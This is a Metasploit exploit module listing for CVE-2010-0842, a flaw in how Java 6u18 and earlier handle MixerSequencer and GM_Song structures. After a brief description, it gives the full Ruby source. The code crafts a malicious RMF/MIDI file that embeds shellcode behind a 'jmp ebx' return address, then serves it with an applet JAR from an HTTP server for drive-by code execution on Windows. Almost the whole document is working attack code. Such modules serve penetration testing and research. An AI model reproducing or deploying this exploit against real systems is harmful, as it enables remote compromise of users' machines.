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Java MixerSequencer Object GM_Song Structure Handling

Java MixerSequencer Object GM_Song Structure Handling
Posted Feb 17, 2012
Authored by Peter Vreugdenhil, juan vazquez | Site metasploit.com

This Metasploit module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability "ebx" points to a fake event in the MIDI file which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the exploit reliable over java updates.

tags | exploit, java, shellcode
advisories | CVE-2010-0842, OSVDB-63493
SHA-256 | 4bfc86d5bc0fc319751b4a58608edff9318f0cb3cc5c83f4040fa6a97b6f8907

Java MixerSequencer Object GM_Song Structure Handling

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
'Description' => %q{
This module exploits a flaw within the handling of MixerSequencer objects
in Java 6u18 and before.

Exploitation id done by supplying a specially crafted MIDI file within an RMF
File. When the MixerSequencer objects is used to play the file, the GM_Song
structure is populated with a function pointer provided by a SONG block in the
RMF. A Midi block that contains a MIDI with a specially crafted controller event
is used to trigger the vulnerability.

When triggering the vulnerability "ebx" points to a fake event in the MIDI file
which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
exploit reliable over java updates.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Vreugdenhil', # Vulnerability Discovery and exploit
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-0842' ],
[ 'OSVDB', '63493'],
[ 'BID', '39077'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],
[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
],
'Payload' =>
{
'Space' => 8000,
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[
# Tested succesfully on:
# Windows XP SP3 / IE 6 / Java 6u18
# Windows XP SP3 / IE 7 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u18
# Windows XP SP3 / Firefox 7.0.1 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u17
# Windows XP SP3 / Firefox 7.0.1 / Java 6u17
# Windows 7 / IE 8 / Java 6u18
'Windows / Java 6 <=u18',
{
'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => "Mar 30 2010",
'DefaultTarget' => 0))

end

def get_rmf

rmf_header = ""
rmf_header << "IREZ" # RMFHeaderMagic
rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber
rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks

song_block = ""
song_block << "\x00\x00\x00\x65" # OffsetToNextBlock
song_block << "SONG" # BlockType
song_block << [target.ret].pack("N") # BlockID
song_block << "\x00" # BlockName
song_block << "\x00\x00\x00\x47" # BlockDataSize
song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData
song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData
song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData
song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData
song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData

midi = ""
# HEADERCHUNK Header
midi << "MThd" # Header
midi << "\x00\x00\x00\x06" # Chunk size
midi << "\x00\x01" # Format Type
midi << "\x00\x01" # Number of tracks
midi << "\x00\x08" # Time division
# TRACKCHUNK header
midi << "MTrk" # Header
midi << "\x00\x00\x24\xd7" # Length
midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability
# Fake Midi Meta event - Shellcode
midi << "\x38" # Variable lenght delta time
midi << "\xff" # Midi meta event
midi << "\x02" # Meta event type 02 => Copyright notice
midi << "\xc9\x50" # Variable Meta Event Length
midi << payload.encoded
midi << rand_text(9123 - payload.encoded.length)

midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock
midi_block << "Midi" # BlockType
midi_block << "\x00\x00\x7f\xff" # BlockID
midi_block << "\x00" # BlockName
midi_block << "\x00\x00\x24\xed" # BlockDataSize
midi_block << midi # BlockData

rmf = ""
rmf << rmf_header
rmf << song_block
rmf << midi_block

rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"

return rmf_name, rmf
end

def get_jar

files = [
[ "MyController.class" ],
[ "MixerMidiApplet.class" ],
[ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]
]
jar = Rex::Zip::Jar.new
jar.add_file("META-INF/", "")
jar.add_file("META-INF/services/", "")
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))
jar.build_manifest

jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"

return jar_name, jar
end

def on_request_uri(cli, request)

if request.uri =~ /\.jar$/i
print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
return
end

if request.uri =~ /\.rmf$/i
print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
return
end

base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
rmf_uri = base_uri + "/#{@rmf_name}"
jar_uri = base_uri + "/#{@jar_name}"

html = %Q|
<html>
<head>
</head>
<body>
<applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>
<param name="midifile" valuetype="ref" value="#{rmf_uri}">
</applet>
</body>
</html>
|

html = html.gsub(/^\t\t/, '')

print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def exploit
@jar_name, @jar = get_jar
@rmf_name, @rmf = get_rmf
super
end

end
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